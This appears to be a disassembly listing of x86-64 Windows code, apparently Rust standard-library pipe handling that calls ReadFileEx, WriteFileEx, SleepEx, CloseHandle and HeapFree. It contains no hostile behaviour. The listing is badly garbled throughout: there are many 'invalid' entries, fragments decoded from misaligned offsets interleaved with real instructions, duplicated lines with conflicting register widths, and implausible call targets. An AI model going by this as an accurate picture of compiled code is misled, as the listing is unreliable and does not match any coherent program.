mov r8, qword [rbp - 8]
clc
ror byte [rbx + rcx*4 + 0x45], cl
clc
clc
call qword [sym.imp.kernel32.dll_HeapFree]
invalid
add byte [rax - 0x75], cl
or eax, 0x68ebd
invalid
mov es, word [rsi]
invalid
mov rcx, qword [0x1400f91f8]
mov ecx, dword [0x1400f91f8]
add byte [rcx], dh
xor edx, edx
mov r8, qword [rbp - 0x18]
mov eax, dword [rbp - 0x18]
ror byte [rbx + rcx*4 + 0x45], cl
call 0x140ca1944
invalid
invalid
invalid
invalid
mov eax, dword [rbp - 0x18]
call qword [sym.imp.kernel32.dll_HeapFree]
adc eax, 0x200c1
add al, byte [rax]
nop
add rsp, 0x28
add esp, 0x28
invalid
pop rsi
pop rbp
ret
push rsi
push rdi
push rbx
sub rsp, 0x20
and byte [rax - 0x77], cl
invalid
mov rsi, rcx
mov rax, qword [rcx]
lock dec qword [rax]
dec qword [rax]
dec dword [rax]
jne case.0x14007ecb4.447
mov rcx, qword [rsi]
mov ecx, dword [rsi]
invalid
call fcn.14007a790
movsb byte [rdi], byte [rsi]
invalid
mov rax, qword [rsi + 0x10]
mov eax, dword [rsi + 0x10]
adc byte [rax - 0x7b], r9b
sal byte [rdi + rcx - 0x10], 0x48
je case.0x14007edf4.441
invalid
invalid
test rax, rax
je case.0x14007edf4.441
invalid
lock dec qword [rax]
dec dword [rax]
jne case.0x14007edf4.441
or dword [rax - 0x75], ecx
adc al, r13b
adc al, ch
mov rcx, qword [rsi + 0x10]
mov ecx, dword [rsi + 0x10]
adc al, ch
call fcn.140068050
int 0x7c
jl 0x14009037f
std
dec dword [rax - 0x75]
sbb byte [rax - 0x75], r9b
mov rdi, qword [rsi + 0x20]
mov rcx, qword [rsi + 0x18]
mov ecx, dword [rsi + 0x18]
mov rdi, qword [rsi + 0x20]
mov rbx, qword [sym.imp.kernel32.dll_CloseHandle]
add byte cs:[rdx], al
add bh, bh
call rbx
mov rcx, rdi
mov ecx, edi
add al, byte [rax]
call rbx
mov rcx, rdi
mov ecx, edi
mov ecx, edi
call rbx
mov rax, qword [rsi + 8]
lock dec qword [rax]
dec dword [rax]
invalid
or al, dh
dec qword [rax]
or byte [rbp + 0x10], dh
jne 0x1400903b3
mov rcx, qword [rsi + 8]
or byte [rax - 0x7d], r9b
invalid
add rsp, 0x20
and byte [rbx + 0x5f], bl
pop rbx
pop rdi
pop rsi
jmp fcn.14008ffd0
invalid
nop
add rsp, 0x20
add esp, 0x20
add esp, 0x20
pop rbx
pop rdi
pop rsi
ret
int3
push rsi
push rdi
push rbx
sub rsp, 0x68
in al, dx
invalid
in al, dx
push 0x246c8d48
lea ebp, [rsp + 0x60]
insb byte [rdi], dx
and al, 0x60
lea rbp, [rsp + 0x60]
mov qword [rbp - 8], 0xfffffffffffffffe
mov qword [rbp - 0x18], rcx
call 0x1880a8f25
call 0x1880a8f25
mov ecx, dword [rax + 0x18]
invalid
invalid
clc
invalid
dec dword [rax - 0x77]
call 0x1880a8f25
call 0x1880a8f25
mov ecx, dword [rax + 0x18]
invalid
invalid
add dword [rax - 0x75], ecx
sbb byte [rax - 0x7b], cl
sbb byte [rax - 0x7b], cl
test rcx, rcx
leave
je 0x1400903fa
adc eax, 0x20508b48
mov rdx, qword [rax + 0x20]
mov byte [rbp - 9], 1
mov byte [rbp - 0xa], 1
mov byte [rbp - 0xb], 1
add eax, ebp
cmpsb byte [rsi], byte [rdi]
invalid
invalid
invalid
add esi, eax
cmc
add eax, ebp
cmpsb byte [rsi], byte [rdi]
invalid
dec dword [rax - 0x75]
call 0x150518f4a
mov rax, qword [rbp - 0x18]
mov rcx, qword [rax + 0x10]
mov byte [rbp - 9], 1
mov byte [rbp - 0xa], 1
add esi, eax
cmc
add al, ch
lea edx, [rbp - 1]
push rbp
invalid
invalid
add esi, eax
test byte [r9], 0xc6
add esi, eax
cmc
cmc
add al, ch
lea edx, [rbp - 1]
push rbp
invalid
dec dword [rax - 0x7b]
sal byte [rsi + rcx - 0x10], 0x48
test rax, rax
je 0x140090426
lock dec qword [rax]
dec dword [rax]
jne 0x140090426
mov rcx, rax
call fcn.140068050
mov rax, qword [rbp - 0x18]
mov rcx, qword [rax]
mov rdx, qword [rax + 0x18]
call 0x188118f76
mov edx, dword [rax + 0x18]
push rax
sbb byte [rax - 0x77], cl
push rbp
enter 0xffffffffffff8b48, 0x40
and byte [rax - 0x77], cl
rol r14b, 0x45
hlt
mov qword [rbp - 0x38], rdx
mov rax, qword [rax + 0x20]
mov eax, dword [rax + 0x20]
mov qword [rbp - 0x40], rax
mov byte [rbp - 0xc], 1
mov byte [rbp - 0xd], 1
call fcn.14007a1a0
mov byte [rbp - 0xc], 0
mov byte [rbp - 0xd], 1
invalid
add eax, ebp
push rsi
popfq
invalid
add dword [rax - 0x75], ecx
enter 0xffffffffffff8b48, 0x55
push rbp
mov rcx, qword [rbp - 0x38]
mov rdx, qword [rbp - 0x40]
push rbp
shr al, 0x51
add al, byte [rax]
invalid
push rbp
shr al, 0x51
add al, byte [rax]
add byte [rax - 0x75], cl
mov rax, qword [rbp - 0x18]
mov rsi, qword [rax + 8]
mov rax, qword [rbp - 0x18]
mov eax, dword [rbp - 0x18]
mov rsi, qword [rax + 8]
or byte [rax - 0x7d], cl
jle 0x140090483
cmp qword [rsi + 0x18], 0
je 0x1400904b6
invalid
add byte [rax + rcx*2 + 0x48], dh
mov ecx, dword [rsi + 0x20]
mov rcx, qword [rsi + 0x20]
mov rcx, qword [rsi + 0x20]
test rcx, rcx
leave
je 0x1400904b6
invalid
mov qword [rbp - 0x30], rsi
mov rax, qword [rsi + 0x28]
mov eax, dword [rsi + 0x28]
mov qword [rbp - 0x20], rcx
loopne 0x1400904cc
mov qword [rbp - 0x28], rax
mov dword [rbp - 0x28], eax
call qword [rax]
mov rax, qword [rbp - 0x28]
mov eax, dword [rbp - 0x28]
cmp qword [rax + 8], 0
or byte [rax], al
add byte [rax - 0x75], cl
jne case.0x1400826b1.358
mov rsi, qword [rbp - 0x30]
mov r8, qword [rbp - 0x20]
mov eax, dword [rbp - 0x20]
loopne 0x14009050f
je 0x1400904b6
sbb cl, byte [rax - 0x7d]
cmp qword [rax + 0x10], 0x11
js 0x1400904b0
adc byte [rcx], dl
adc dword [rdx + 4], esi
jb 0x1400904a7
add al, 0x4d
mov eax, dword [rax - 8]
clc
mov r8, qword [r8 - 8]
clc
clc
mov rcx, qword [0x1400f91f8]
xor edx, edx
invalid
invalid
add byte [rcx], dh
sar bh, cl
adc eax, 0x1ff52
inc dword [rcx]
invalid
call qword [sym.imp.kernel32.dll_HeapFree]
inc dword [rcx]
add byte [rax - 0x39], cl
sbb byte [rcx], r8b
invalid
add dword [rax], eax
mov qword [rsi + 0x18], 1
add dword [rax], eax
add byte [rax], al
add byte [rax - 0x39], cl
invalid
invalid
and byte [rax], r8b
and byte [rax], al
add byte [rax], al
mov qword [rsi + 0x20], 0
and byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add al, dh
dec qword [rsi]
dec dword [rsi]
lock dec qword [rsi]
dec dword [rsi]
invalid
jne 0x1400904dc
adc dh, al
hlt
mov byte [rbp - 0xc], 0
add dh, al
add byte [rax - 0x77], cl
add byte [rax - 0x77], cl
mov byte [rbp - 0xd], 0
mov rcx, rsi
int1
add byte [rax - 0x77], cl
int1
call fcn.14008ffd0
hlt
nop
add rsp, 0x68
add esp, 0x68
invalid
pop rbx
pop rdi
pop rsi
pop rbp
ret
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x10], rdx
push rsp
and al, 0x10
push rsp
and al, 0x10
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x28
sub esp, 0x28
in al, dx
sub byte [rax - 0x73], cl
push 0x60
invalid
lea rbp, [rdx + 0x60]
invalid
call fcn.1400adc80
ud2
invalid
or ecx, dword [rdi]
invalid
nop dword [rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
mov qword [rsp + 0x10], rdx
push rsp
and al, 0x10
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x28
sub byte [rax - 0x73], cl
push 0x60
sub byte [rax - 0x73], cl
push 0x60
call fcn.1400adc80
xlatb
add dword [rax], eax
ud2
test byte [rax], al
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x10], rdx
mov dword [rsp + 0x10], edx
mov dword [rsp + 0x10], edx
and al, 0x10
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x60]
lea ebp, [rdx + 0x60]
lea ebp, [rdx + 0x60]
push 0x60
invalid
mov rax, qword [rbp - 0x28]
mov eax, dword [rbp - 0x28]
cmp qword [rax + 8], 0
cmp dword [rax + 8], 0
je case.0x140084700.162
sub cl, byte [rax - 0x75]
fmul dword [r8 - 0x7d]
js 0x140090564
mov rax, qword [rbp - 0x28]
mov eax, dword [rbp - 0x28]
cmp qword [rax + 0x10], 0x11
jb 0x140090563
adc dword [rdx + 0xc], esi
mov rax, qword [rbp - 0x20]
mov eax, dword [rbp - 0x20]
loopne 0x1400905a4
mov rax, qword [rax - 8]
mov eax, dword [rax - 8]
mov qword [rbp - 0x20], rax
loopne 0x1400905ac
mov rcx, qword [0x1400f91f8]
mov ecx, dword [0x1400f91f8]
add byte [rcx], dh
ror byte [rbx + rcx*4 + 0x45], cl
mov r8, qword [rbp - 0x20]
invalid
xor edx, edx
mov r8, qword [rbp - 0x20]
loopne 0x140090570
call qword [sym.imp.kernel32.dll_HeapFree]
adc eax, 0x1fe92
mov rax, qword [rbp - 0x30]
mov qword [rax + 0x18], 1
mov dword [rax + 0x18], 1
mov dword [rax + 0x18], 1
mov qword [rax + 0x20], 0
add byte [rax], al
add byte [rax], al
mov byte [rbp - 0xc], 0
mov byte [rbp - 0xd], 1
add rsp, 0x28
add esp, 0x28
add esp, 0x28
pop rbx
pop rdi
pop rsi
pop rbp
ret
invalid
mov qword [rsp + 0x10], rdx
push rbp
push rsi
adc byte [rbp + 0x56], dl
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x60]
push 0x60
sub byte [rax - 0x73], cl
push 0x60
movzx ebx, byte [rbp - 0xd]
cmp byte [rbp - 0xc], 0
cmp byte [rbp - 0xc], 0
je 0x1400905e2
mov rsi, qword [sym.imp.kernel32.dll_CloseHandle]
mov rcx, qword [rbp - 0x38]
call rsi
mov rcx, qword [rbp - 0x40]
mov ecx, dword [rbp - 0x40]
call rsi
mov byte [rbp - 9], bl
test esi, 0xc600f645
cmc
cmc
add byte [rax - 0x7d], cl
invalid
sub byte [rbx + 0x5f], bl
pop rdi
pop rsi
pop rbp
ret
mov byte [rbp - 9], bl
mov byte [rbp - 0xa], 0
mov byte [rbp - 0xb], 0
add byte [rax - 0x7d], cl
invalid
sub byte [rbx + 0x5f], bl
add byte [rax - 0x7d], cl
invalid
pop rsi
pop rbp
ret
test byte [rax], al
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x10], rdx
mov dword [rsp + 0x10], edx
mov dword [rsp + 0x10], edx
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x60]
push 0x60
push 0x60
movzx edi, byte [rbp - 0xb]
movzx esi, byte [rbp - 0xa]
movzx ebx, byte [rbp - 9]
invalid
mov dh, 0x75
test byte [rdi], 0xb6
pop rbp
test dword [rax - 0x7c], 0x481974f6
test sil, sil
je 0x14009063b
mov rax, qword [rbp - 0x18]
mov eax, dword [rbp - 0x18]
call 0x130099172
mov rax, qword [rax]
lock dec qword [rax]
dec qword [rax]
dec qword [rax]
dec dword [rax]
jne 0x14009063b
mov rax, qword [rbp - 0x18]
mov rcx, qword [rax]
call fcn.14007a790
invalid
invalid
invalid
call 0x12811917f
call 0x12811917f
push rbp
movabs eax, dword [0x207401c7f640fffe]
invalid
test dil, 1
je 0x140090661
and byte [rax - 0x75], cl
call 0x150499191
mov eax, dword [rax + 0x10]
mov rax, qword [rbp - 0x18]
mov eax, dword [rbp - 0x18]
mov rax, qword [rax + 0x10]
mov eax, dword [rax + 0x10]
adc byte [rax - 0x7b], cl
sal byte [rbx + rdx - 0x10], 0x48
adc esi, eax
dec qword [rax]
test rax, rax
je 0x140090661
invalid
adc esi, eax
dec qword [rax]
lock dec qword [rax]
jne 0x140090661
mov rax, qword [rbp - 0x18]
mov eax, dword [rbp - 0x18]
mov rcx, qword [rax + 0x10]
adc al, ch
call fcn.140068050
out dx, eax
jns 0x14009065d
inc dword [rax - 0x7c]
test sil, sil
test dh, dh
div byte [rdx + rbx + 0x48]
mov eax, dword [rbp - 0x18]
invalid
je 0x140090680
mov rax, qword [rbp - 0x18]
call 0x1585191b6
mov rcx, qword [rax + 0x18]
mov rsi, qword [rax + 0x20]
jo 0x140090692
and byte [rax - 0x75], cl
cmp eax, 0x1fd47
add dword [rax], eax
mov rdi, qword [sym.imp.kernel32.dll_CloseHandle]
add dword [rax], eax
add bh, bh
xlatb
call rdi
mov rcx, rsi
call rdi
xlatb
test bl, bl
je 0x14009069f
invalid
mov rax, qword [rbp - 0x18]
mov eax, dword [rbp - 0x18]
call 0x1484991d4
mov rax, qword [rax + 8]
lock dec qword [rax]
dec qword [rax]
or byte [rbp + 0xd], dh
jne 0x14009069f
mov rax, qword [rbp - 0x18]
mov eax, dword [rbp - 0x18]
call 0x1485191e2
mov rcx, qword [rax + 8]
call fcn.14008ffd0
xor ecx, edi
stc
invalid
nop
add rsp, 0x28
add esp, 0x28
add esp, 0x28
invalid
pop rbx
pop rdi
pop rsi
pop rbp
ret
int3
int3
int3
push rbp
push r15
push rdi
push r14
push r13
push rbp
push rbp
push r12
push rsp
push rsi
push rdi
push rbx
mov eax, 0x10b8
invalid
adc byte [rax], al
invalid
mov eax, 0xe8000010
adc byte [rax], al
add byte [rax], al
add al, ch
call fcn.1400a5e90
retf 0x157
add dword [rax], eax
add byte [rax + 0x29], cl
invalid
sub rsp, rax
sub esp, eax
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0x1020], xmm6
sub dword [rbp + 0x1020], esi
lodsb al, byte [rsi]
and al, 0x80
add byte [rax], 0
add byte [rax], al
add byte [rdi], cl
sub dword [rbp + 0x1020], esi
mov ch, 0x20
and byte [rax], dl
add byte [rax], al
invalid
adc byte [rax], al
add byte [rax - 0x39], cl
mov qword [rbp + 0x1018], 0xfffffffffffffffe
mov dword [rbp + 0x1018], 0xfffffffe
test dword [rax], ebx
sbb byte [rax], dl
add byte [rax], al
add dh, bh
adc byte [rax], al
add dh, bh
invalid
invalid
dec dword [rax - 0x77]
mov qword [rbp + 0xfe8], rdx
xchg ebp, eax
call 0x1890906fa
sldt word [rax]
mov r12, rcx
sldt word [rax]
add byte [rax], al
add byte [rcx - 0x77], cl
mov r12, rcx
int3
lea r13, [rbp - 0x50]
lea ebp, [rbp - 0x50]
insd dword [rdi], dx
mov al, 0x41
mov eax, 0x1000
add byte [rax], dl
add byte [rax], al
mov r8d, 0x1000
add byte [rax], dl
add byte [rax], al
add byte [rcx + rcx*4 - 0x17], cl
mov rcx, r13
mov ecx, ebp
xor edx, edx
call sub.VCRUNTIME140.dll_memset
invalid
pop rdi
add dword [rax], eax
xorps xmm6, xmm6
test byte [rbp + rcx*4 - 0x4b], 0xfc
lea r14, [rbp + 0xffc]
lea esi, [rbp + 0xffc]
mov ch, 0xfc
sldt word [rax]
add byte [rax - 0x73], cl
lea rbx, case.0x14008537a.59
lea ebx, case.0x14008537a.59
sbb eax, 0xffff5f5e
pop rdi
invalid
dec dword [rbp + rcx*4 - 0x43]
mov al, 0xf
sldt word [rax]
lea r15, [rbp + 0xfb0]
lea edi, [rbp + 0xfb0]
mov ebp, 0xfb0
sldt word [rax]
add byte [rax - 0x75], cl
add eax, 0x1fc48
cld
add dword [rax], eax
invalid
mov rax, qword [sym.imp.kernel32.dll_ReadFileEx]
mov eax, dword [sym.imp.kernel32.dll_ReadFileEx]
cld
add dword [rax], eax
invalid
add byte [rax - 0x73], cl
lea rsi, [0x1400f0d9c]
lea esi, [0x1400f0d9c]
xor eax, 0x60675
invalid
add byte [rax - 0x75], cl
mov rdi, qword [sym.imp.kernel32.dll_SleepEx]
mov edi, dword [sym.imp.kernel32.dll_SleepEx]
cmp eax, 0x1fb42
sti
add dword [rax], eax
invalid
add byte [rcx + rcx*4 - 0x5b], cl
mov qword [rbp + 0xff0], r12
mov dword [rbp + 0xff0], esp
movsd dword [rdi], dword [rsi]
invalid
sldt word [rax]
add bh, al
mov dword [rbp + 0xffc], 0
test esp, edi
cld
sldt word [rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rdi], cl
movaps xmmword [rbp + 0xfb0], xmm6
sub dword [rbp + 0xfb0], esi
mov al, 0xf
add byte [rax], al
add byte [rax - 0x39], cl
test eax, eax
ror byte [rdi], 0
add byte [rax], al
add byte [rax], al
invalid
mov qword [rbp + 0xfc0], 0
mov dword [rbp + 0xfc0], 0
ror byte [rdi], 0
add byte [rax], al
add byte [rax], al
add byte [rcx + rcx*4 - 0x4b], cl
enter 0xf, 0
sldt word [rax]
mov qword [rbp + 0xfc8], r14
mov dword [rbp + 0xfc8], esi
mov ch, 0xc8
sldt word [rax]
add byte [rax - 0x77], cl
mov qword [rsp + 0x20], rbx
mov dword [rsp + 0x20], ebx
pop rsp
and al, 0x20
and byte [rcx + rcx*4 - 0x1f], cl
mov rcx, r12
mov ecx, esp
mov rdx, r13
mov edx, ebp
mov r8d, 0x1000
add byte [rax], dl
add byte [rax], al
add byte [rbp - 0x77], cl
stc
mov r9, r15
mov ecx, edi
call rax
test eax, eax
je 0x1400907d0
pop rsi
sal byte [rsi + rbx*2 + 0x66], 0x66
nop word cs:[rax + rax]
nop word cs:[rax + rax]
pop rsi
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop dword [rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx - 1], bh
mov ecx, 0xffffffff
invalid
invalid
mov edx, 1
add dword [rax], eax
add byte [rax], al
call rdi
xlatb
cmp dword [rbp + 0xffc], 0
mov ebp, 0xffc
add byte [rax], al
add byte [rbx + rbp*8 + 0x48], dh
invalid
je 0x140090780
jmp 0x1400907de
movsxd rax, dword [rbp + 0x1000]
test dword [rax], eax
add byte [rax], dl
add byte [rax], al
invalid
adc byte [rax], al
add byte [rax - 0x7b], cl
sal byte [rdi + rbp*2 + 0x48], 0xc1
je 0x140090810
shl rax, 0x20
test rax, rax
je 0x140090810
shl rax, 0x20
shl eax, 0x20
and byte [rax - 0x7d], cl
enter 0x4802, 0xffffffffffffff89
invalid
invalid
test dword [rax], edx
or rax, 2
or eax, 2
mov qword [rbp + 0x1010], rax
adc byte [rax], al
add byte [rax - 0x39], cl
invalid
invalid
test dword [rax], ecx
mov qword [rbp + 0x1008], 1
mov dword [rbp + 0x1008], 1
adc byte [rax], al
add byte [rcx], al
invalid
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rcx + 0x3e183c1], cl
mov ecx, eax
and ecx, 3
loope 0x1400907c3
mov ecx, eax
and ecx, 3
loope 0x1400907c3
loope 0x1400907c3
add ecx, dword [rax + 0x63]
movsxd rcx, dword [rsi + rcx*4]
or al, 0x8e
mov cs, word [rax + 1]
add rcx, rsi
add ecx, esi
int1
jmp rcx
nop dword [rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
add bh, bh
adc eax, 0x1fbd2
sti
add dword [rax], eax
call qword [sym.imp.kernel32.dll_GetLastError]
sti
add dword [rax], eax
shl rax, 0x20
or rax, 2
or eax, 2
mov qword [rbp + 0x1010], rax
adc byte [rax], dl
add byte [rax], al
adc byte [rax], al
add byte [rax - 0x39], cl
invalid
test dword [rax], ecx
invalid
mov qword [rbp + 0x1008], 1
adc byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rcx + 0x3e183c1], cl
mov ecx, eax
and ecx, 3
mov ecx, eax
and ecx, 3
movsxd rcx, dword [rsi + rcx*4]
or al, 0x8e
add rcx, rsi
jmp rcx
invalid
movzx eax, byte [rax + 0x10]
jmp 0x14009085c
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
mov eax, dword [rbp + 0x1004]
adc byte [rax], al
add byte [rax - 0x77], cl
test dword [rax], edx
mov qword [rbp + 0x1010], rax
mov qword [rbp + 0x1008], 0
test dword [rax], ecx
adc byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
adc byte [rax], al
add byte [rax - 0x39], cl
test dword [rax], ecx
adc byte [rax], al
add byte [rax], al
add byte [rax], al
add bl, ch
jmp 0x140090864
invalid
invalid
jmp 0x140090864
call 0x128ca9151
fcmovnb st(0), st(3)
invalid
shr eax, 0xdb
ret
and eax, 0x20e8c148
cmp eax, 0x28
sub byte [rdi], cl
xchg ebx, edx
rol dword [rcx], cl
add byte [rax], al
sub byte [rdi], cl
xchg ebx, edx
rol dword [rcx], cl
add byte [rax], al
lea rcx, [0x1400f0dac]
lea rcx, [0x1400f0dac]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
xor eax, eax
jmp 0x14009085c
mov dh, 0x40
invalid
cmp al, 0xb
je 0x140090b0a
cmpsb byte [rsi], byte [rdi]
add al, byte [rax]
invalid
cmpsb byte [rsi], byte [rdi]
add al, byte [rax]
add byte [rax - 0x75], cl
test dword [rax], ecx
or byte [rax], dl
add byte [rax], al
mov qword [rbp + 0xfd0], rax
mov rax, qword [rbp + 0x1008]
or byte [rax], dl
add byte [rax], al
mov qword [rbp + 0xfd0], rax
ror byte [rdi], 1
add byte [rax], al
mov rax, qword [rbp + 0x1010]
adc byte [rax], dl
add byte [rax], al
mov qword [rbp + 0xfd8], rax
fmul dword [rdi]
add byte [rax], al
cmp qword [rbp + 0xfd0], 0
jne 0x140090afc
outsb dx, byte [rsi]
add al, byte [rax]
invalid
ror byte [rdi], 1
add byte [rax], al
add byte [rdi], cl
test dword [rsi + 2], ebp
outsb dx, byte [rsi]
add al, byte [rax]
invalid
outsb dx, byte [rsi]
add al, byte [rax]
add byte [rbx + rcx*4 - 0x5b], cl
mov r12, qword [rbp + 0xfd8]
fmul dword [rdi]
add byte [rax], al
test r12, r12
je 0x140090ac8
cmp r12, 0x1000
cmp esp, 0x1000
ja 0x140090b2c
xchg dword [rcx + 0x4c000002], eax
mov esi, ebp
out dx, al
mov rsi, r13
out dx, al
xor r13d, r13d
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
add byte [rbp - 0x77], al
mov r8d, r12d
sub r8d, r13d
loopne 0x140090909
sub eax, ebp
lea rdx, [r13 - 0x50]
sub eax, 0xffffffb0
dec dword [rax + 1]
add rdx, rbp
mov dword [rbp + 0xffc], 0
sldt word [rax]
add byte [rax], al
add byte [rax], al
invalid
sldt word [rax]
add byte [rax], al
add byte [rax], al
movaps xmmword [rbp + 0xfb0], xmm6
mov al, 0xf
add byte [rax], al
mov qword [rbp + 0xfc0], 0
ror byte [rdi], 0
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
add byte [rcx + rcx*4 - 0x4b], cl
mov qword [rbp + 0xfc8], r14
enter 0xf, 0
add byte [rax - 0x77], cl
pop rsp
mov qword [rsp + 0x20], rbx
and al, 0x20
mov rcx, qword [rbp + 0xfe8]
mov ecx, dword [rbp + 0xfe8]
add byte [rax], al
mov r9, r15
mov ecx, edi
call qword [sym.imp.kernel32.dll_WriteFileEx]
outsd dx, dword [rsi]
stc
add dword [rax], eax
add byte [rbp - 0x747bf040], al
add dword [rax], eax
add byte [rsi + 0x66], ah
test eax, eax
je 0x140090a9c
invalid
mov eax, dword [rcx]
add byte [rax], al
test byte [rbx + 0x66000001], cl
nop word cs:[rax + rax]
nop word cs:[rax + rax]
add byte [rax], al
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rcx - 1], bh
invalid
invalid
invalid
invalid
mov ecx, 0xffffffff
invalid
mov edx, 1
add byte [rax], al
call rdi
cmp dword [rbp + 0xffc], 0
sldt word [rax]
invalid
je 0x140090920
sldt word [rax]
add byte [rbx + rbp*8 + 0x48], dh
movsxd rax, dword [rbp + 0x1000]
test rax, rax
test eax, eax
invalid
adc byte [rax], al
add byte [rax - 0x7b], cl
test eax, eax
invalid
test dword [rbp + 1], ebx
invalid
test eax, eax
jne 0x140090aa2
test dword [rbp + 1], ebx
add byte [rax], al
invalid
add byte [rbx + 0x100485], cl
add byte [rcx + 1], cl
add r13, rax
mov eax, dword [rbp + 0x1004]
add al, 0x10
add byte [rax], al
add r13, rax
cmp r13, r12
je case.0x140088c0a.61
invalid
or eax, 0xff67860f
invalid
jbe 0x1400908c0
invalid
jmp 0x140090b18
add byte [rax], al
nop
mov r12, qword [rbp + 0xff0]
mov r13, rsi
invalid
mov rax, qword [sym.imp.kernel32.dll_ReadFileEx]
stc
add dword [rax], eax
lea rsi, [0x1400f0d9c]
add al, 6
add cl, ch
jmp 0x140090735
mov al, 0x25
invalid
fdivr st(6)
invalid
jmp 0x140090735
push qword [rax - 0x12716db]
invalid
mov al, 0x25
jmp 0x14009085c
push qword [rax - 0x12e16dd]
invalid
mov al, 0x23
jmp 0x14009085c
push qword [rax - 0x13516dc]
invalid
mov al, 0x24
jmp 0x14009085c
push qword [rax - 0x13c16e5]
invalid
mov al, 0x1b
jmp 0x14009085c
push qword [rax - 0x14316de]
invalid
mov al, 0x22
jmp 0x14009085c
push qword [rax - 0x14a16f0]
invalid
mov al, 0x10
jmp 0x14009085c
push qword [rax - 0x15116f2]
invalid
mov al, 0xe
jmp 0x14009085c
push qword [rax - 0x15816df]
invalid
mov al, 0x21
jmp 0x14009085c
push qword [rax - 0x15f16f5]
invalid
mov al, 0xb
jmp 0x14009085c
push qword [rax - 0x16616fc]
invalid
mov al, 4
jmp 0x14009085c
push qword [rax - 0x16d16d8]
invalid
mov al, 0x28
jmp 0x14009085c
push qword [rax - 0x17416f4]
invalid
mov al, 0xc
jmp 0x14009085c
push qword [rax - 0x17b16f7]
invalid
mov al, 9
jmp 0x14009085c
push qword [rax - 0x18216e7]
invalid
mov al, 0x19
jmp 0x14009085c
push qword [rax - 0x18916e8]
invalid
mov al, 0x18
jmp 0x14009085c
push qword [rax - 0x19016fe]
invalid
mov al, 2
jmp 0x14009085c
mov al, 0xf
jmp 0x14009085c
mov al, 3
jmp 0x14009085c
mov al, 7
jmp 0x14009085c
mov al, 1
jmp 0x14009085c
mov al, 0x1f
jmp 0x14009085c
mov al, 0x11
jmp 0x14009085c
mov al, 0x29
jmp 0x14009085c
mov al, 0x14
jmp 0x14009085c
mov al, 5
jmp 0x14009085c
mov al, 0x15
jmp 0x14009085c
mov al, 0xd
jmp 0x14009085c
mov al, 6
jmp 0x14009085c
mov al, 0x12
jmp 0x14009085c
mov al, 0xa
jmp 0x14009085c
mov al, 8
jmp 0x14009085c
mov al, 0x1e
jmp 0x14009085c
mov al, 0x20
jmp 0x14009085c
mov al, 0x16
jmp 0x14009085c
mov al, 0x27
jmp 0x14009085c
mov al, 0x13
jmp 0x14009085c
mov al, 0x17
jmp 0x14009085c
mov al, 0x1c
jmp 0x14009085c
mov al, 0x1d
jmp 0x14009085c
mov al, 0x26
jmp 0x14009085c
mov al, 0x1a
jmp 0x14009085c
call qword [sym.imp.kernel32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov qword [rbp + 0x1010], rax
mov qword [rbp + 0x1008], 1
lea rcx, [rbp + 0x1010]
call fcn.14007a090
mov rsi, qword [sym.imp.kernel32.dll_CloseHandle]
mov rcx, qword [rbp + 0xff0]
call rsi
mov rcx, qword [rbp + 0xfe8]
call rsi
movaps xmm6, xmmword [rbp + 0x1020]
add rsp, 0x10b8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea rcx, [rbp + 0xfd8]
call fcn.14007a090
jmp 0x140090ac8
lea rcx, [rbp + 0x1010]
call fcn.14007a090
jmp 0x140090ac8
lea r8, str.library_std_src_syswindowspipe.rs
mov rcx, r13
mov rdx, r12
call fcn.1400aa2f0
jmp 0x140090b40
lea r8, str.library_std_src_syswindowspipe.rs
mov edx, 0x1000
mov rcx, r12
call fcn.1400aa020
ud2
push r12
push rsi
push rdi
push rbx
sub rsp, 0x48
lea rbp, [rdx + 0x80]
cmp byte [rbp + 0x5e8], 2
je 0x140093ba5
cmp qword [rbp + 0x5d8], 0
je 0x140093ba5
mov r8, qword [rbp + 0x5d0]
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x48
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
push rdi
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x48
lea rbp, [rdx + 0x80]
stosb byte [rdi], al
add byte [rax], 0
add byte [rax - 0x75], cl
lea ebp, [rax - 0xfffffb]
adc eax, 0x1c6df
stosb byte [rdi], al
add byte [rax], 0
add byte [rax - 0x75], cl
lea ebp, [rax - 0xfffffb]
adc eax, 0x1c6df
nop
add rsp, 0x48
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov rax, qword [rsi + 0x10]
cmp byte [rax], 0
je 0x140093ec7
mov rbx, qword [rsi + 0x18]
mov rax, qword [rbx]
test rax, rax
je 0x140093dd7
mov r14, qword [rsi + 0x20]
cmp byte [r14], 0
jne 0x140093dcc
mov rcx, qword [rsi + 0x28]
mov rdx, qword [rcx]
xor ecx, ecx
